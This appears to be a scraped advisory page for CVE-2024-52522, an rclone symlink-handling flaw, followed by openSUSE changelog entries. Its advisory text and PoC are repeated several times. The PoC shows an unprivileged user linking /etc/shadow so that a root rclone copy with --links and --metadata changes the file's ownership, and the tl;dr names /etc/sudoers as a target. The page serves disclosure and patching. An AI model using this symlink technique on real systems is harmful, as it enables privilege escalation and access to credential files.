CVE-2024-52522

Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files, compromising system integrity, confidentiality, and availability. This vulnerability is fixed in 1.68.2.

tl;dr:

unprivileged user creates a symlink to /etc/sudoers, /etc/shadow or similar and waits for a privileged user or process to copy/backup/mirror users data (using --links and --metadata). unprivileged user now owns /etc/sudoers.

Summary

Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files (e.g., /etc/shadow), compromising system integrity, confidentiality, and availability.

For instance, an unprivileged user could set a symlink to a sensitive file within their home directory, waiting for an administrator or automated process (e.g., a cron job running with elevated privileges) to copy their files with rclone using the --links and --metadata options. Upon copying, rclone will incorrectly apply chown and chmod to the symlink’s target file rather than just the symlink itself, resulting in ownership and permission changes on the sensitive file.

Who is affected

If you are not using --metadata and --links and copying files to the local backend you are not affected by this issue.

If you are using --metadata and -links and copying files to the local backend but not as a superuser, then this will manifest itself as a bug by setting incorrect permissions.

If you are using --metadata and -links and copying files to the local backend but as a superuser then this could affect you.

Details

When copying directories containing symlinks with rclone using the --links and --metadata options, rclone mistakenly applies chown and chmod operations to the target of the symlink instead of the symlink itself. As a result, ownership and permissions on sensitive system files (e.g., /etc/shadow) may be altered if they are the target of any symlink within the copied directory structure. This allows users to affect the permissions and ownership of files they should not have access to, resulting in privilege escalation and potential system compromise.

PoC

# Create a directory to simulate a user home directory
root@workstation:~# mkdir -p /tmp/home/user1
root@workstation:~# sudo chown user1:user1 /tmp/home/user1

# As user1, create a symlink to /etc/shadow within their home directory
root@workstation:~# sudo -u user1 ln -s /etc/shadow /tmp/home/user1/shadow_link

# List permissions on the original files
root@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow
----------. 1 root  root  1283 Nov  5 13:30 /etc/shadow
lrwxrwxrwx. 1 user1 user1   11 Nov  5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow

# Copy the directory structure with rclone
root@workstation:~# rclone copy /tmp/home /tmp/home_new --links --metadata --log-level=DEBUG
2024/11/05 13:56:53 DEBUG : rclone: Version "v1.68.1" starting with parameters ["rclone" "copy" "/tmp/home" "/tmp/home_new" "--links" "--metadata" "--log-level=DEBUG"]
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home"
2024/11/05 13:56:53 NOTICE: Config file "/root/.config/rclone/rclone.conf" not found - using defaults
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home" to be canonical "local{b6816}:/tmp/home"
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home_new"
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home_new" to be canonical "local{b6816}:/tmp/home_new"
2024/11/05 13:56:53 DEBUG : Added delayed dir = "user1", newDst=<nil>
2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: Need to transfer - File not found at Destination
2024/11/05 13:56:53 DEBUG :…

tl;dr:

unprivileged user creates a symlink to /etc/sudoers, /etc/shadow or similar and waits for a privileged user or process to copy/backup/mirror users data (using --links and --metadata). unprivileged user now owns /etc/sudoers.

Summary

Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files (e.g., /etc/shadow), compromising system integrity, confidentiality, and availability.

For instance, an unprivileged user could set a symlink to a sensitive file within their home directory, waiting for an administrator or automated process (e.g., a cron job running with elevated privileges) to copy their files with rclone using the --links and --metadata options. Upon copying, rclone will incorrectly apply chown and chmod to the symlink’s target file rather than just the symlink itself, resulting in ownership and permission changes on the sensitive file.

Who is affected

If you are not using --metadata and --links and copying files to the local backend you are not affected by this issue.

If you are using --metadata and -links and copying files to the local backend but not as a superuser, then this will manifest itself as a bug by setting incorrect permissions.

If you are using --metadata and -links and copying files to the local backend but as a superuser then this could affect you.

Details

When copying directories containing symlinks with rclone using the --links and --metadata options, rclone mistakenly applies chown and chmod operations to the target of the symlink instead of the symlink itself. As a result, ownership and permissions on sensitive system files (e.g., /etc/shadow) may be altered if they are the target of any symlink within the copied directory structure. This allows users to affect the permissions and ownership of files they should not have access to, resulting in privilege escalation and potential system compromise.

PoC

# Create a directory to simulate a user home directory
root@workstation:~# mkdir -p /tmp/home/user1
root@workstation:~# sudo chown user1:user1 /tmp/home/user1

# As user1, create a symlink to /etc/shadow within their home directory
root@workstation:~# sudo -u user1 ln -s /etc/shadow /tmp/home/user1/shadow_link

# List permissions on the original files
root@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow
----------. 1 root  root  1283 Nov  5 13:30 /etc/shadow
lrwxrwxrwx. 1 user1 user1   11 Nov  5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow

# Copy the directory structure with rclone
root@workstation:~# rclone copy /tmp/home /tmp/home_new --links --metadata --log-level=DEBUG
2024/11/05 13:56:53 DEBUG : rclone: Version "v1.68.1" starting with parameters ["rclone" "copy" "/tmp/home" "/tmp/home_new" "--links" "--metadata" "--log-level=DEBUG"]
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home"
2024/11/05 13:56:53 NOTICE: Config file "/root/.config/rclone/rclone.conf" not found - using defaults
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home" to be canonical "local{b6816}:/tmp/home"
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home_new"
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home_new" to be canonical "local{b6816}:/tmp/home_new"
2024/11/05 13:56:53 DEBUG : Added delayed dir = "user1", newDst=<nil>
2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: Need to transfer - File not found at Destination
2024/11/05 13:56:53…

Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files, compromising system integrity, confidentiality, and availability. This vulnerability is fixed in 1.68.2.

Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files, compromising system integrity, confidentiality, and availability. This vulnerability is fixed in 1.68.2.

Rclone Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata in github.com/rclone/rclone

This update bring new features, bugs and vulnerabilities fixed in rclone and golang components used to build it.

These are all security issues fixed in the govulncheck-vulndb-0.0.20241119T173509-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the rclone-1.68.2-2.1 package on the GA media of openSUSE Tumbleweed.

This update for rclone fixes the following issues:

Changes in rclone:

• Update to version 1.73.5:

  • Version v1.73.5
  • operations: add AuthRequired to operations/fsinfo to prevent backend creation CVE-2026-41179
  • rc: snapshot NoAuth at startup to prevent runtime auth bypass CVE-2026-41176
  • rc: add AuthRequired to options/set to prevent auth bypass CVE-2026-41176
  • s3: fix empty delimiter parameter rejected by Archiware P5 server
  • azureblob/auth: add Microsoft Partner Network User-Agent prefix
  • drime: fix User.EntryPermissions JSON unmarshalling
  • filter: fix debug logs that fire before logger is configured - fixes #9291
  • s3: fix TencentCOS CDN endpoint failing on bucket check
  • iclouddrive: fix 'directory not found' error when the directory contains accent marks
  • Start v1.73.5-DEV development

• Update to version 1.73.4:

  • Version v1.73.4
  • Update to go 1.25.9 to fix multiple CVEs
  • build: fix Denial of Service due to Panic in AWS SDK for Go v2 SDK EventStream Decoder
  • docs: fix markdown issues in mount docs
  • docs: fix header level for metadata option
  • fix(docs): Fix link to not be language specific
  • filen: update SDK version
  • build(deps): bump golang.org/x/image from 0.36.0 to 0.38.0
  • docs: note macOS 10.15 (Catalina) support with version v1.70.3
  • Start v1.73.4-DEV development

• Update to version 1.73.3: (CVE-2026-33186 GHSA-6g7g-w4f8-9c9x)

  • Version v1.73.3
  • build(deps): bump github.com/buger/jsonparser from 1.1.1 to 1.1.2
  • docs/jottacloud: fix broken link
  • docs: clarify Filen password change requires updating both password and API key in rclone config
  • docs: note that Filen API key changes on password change
  • build(deps): bump google.golang.org/grpc from 1.79.1 to 1.79.3
  • s3: add multi tenant support for Cubbit
  • lib/rest: fix URLPathEscapeAll breaking WebDAV servers (eg nzbdav) with strict path matching
  • list: fix nil pointer panic in Sorter when temp file creation fails
  • docs: update RELEASE procedure to avoid mistakes
  • docs: added text to the label showing version-introduced info
  • Start v1.73.3-DEV development
  • docs: update sponsors

• Update to version 1.73.2:

  • Version v1.73.2
  • Update to go 1.25.8 to fix multiple CVEs
  • build: update to golang.org/x/net v0.51.0 to fix CVE-2026-27141 #9220
  • docs: fix new drive flag typo in changelog
  • webdav: add missing headers for CORS
  • docs: Document unsupported S3 object keys with double slashes
  • docs: note that --use-server-modtime only works on some backends
  • internxt: fix Entry doesn't belong in directory errors on windows
  • drime: fix chunk-uploaded files ignoring workspace ID
  • docs: Fix headers hierarchy for mount.md
  • webdav: escape reserved characters in URL path segments
  • bisync: add group Sync to the bisync command
  • archive: extract: strip "./" prefix from tar entry paths
  • docs: add instructions on how to update Go version
  • buid: update github.com/cloudflare/circl to v1.6.3 to fix CVE-2026-1229
  • Start v1.73.2-DEV development

• Update to version 1.73.1:

  • Version v1.73.1
  • build: fix build using go 1.26.0 instead of go 1.25.7
  • fs/march: fix runtime: program exceeds 10000-thread limit
  • accounting: fix missing server side stats from core/stats rc
  • pacer: re-read the sleep time as it may be stale
  • pacer: fix deadlock between pacer token and --max-connections
  • build: fix CVE-2025-68121 by updating go to 1.25.7 or later - fixes #9167
  • drime: fix files and directories being created in the default workspace
  • docs: update sponsors
  • copyurl: Extend copyurl docs with an example of CSV FILENAMEs starting with a path.
  • internxt: implement re-login under refresh logic, improve retry logic - fixes #9174
  • docs: add ExchangeRate-API as a sponsor
  • build: bump github.com/go-chi/chi/v5 from 5.2.3 to 5.2.5 to fix GO-2026-4316
  • Set list_version to 2 for FileLu S3 configuration
  • filelu: add multipart upload support…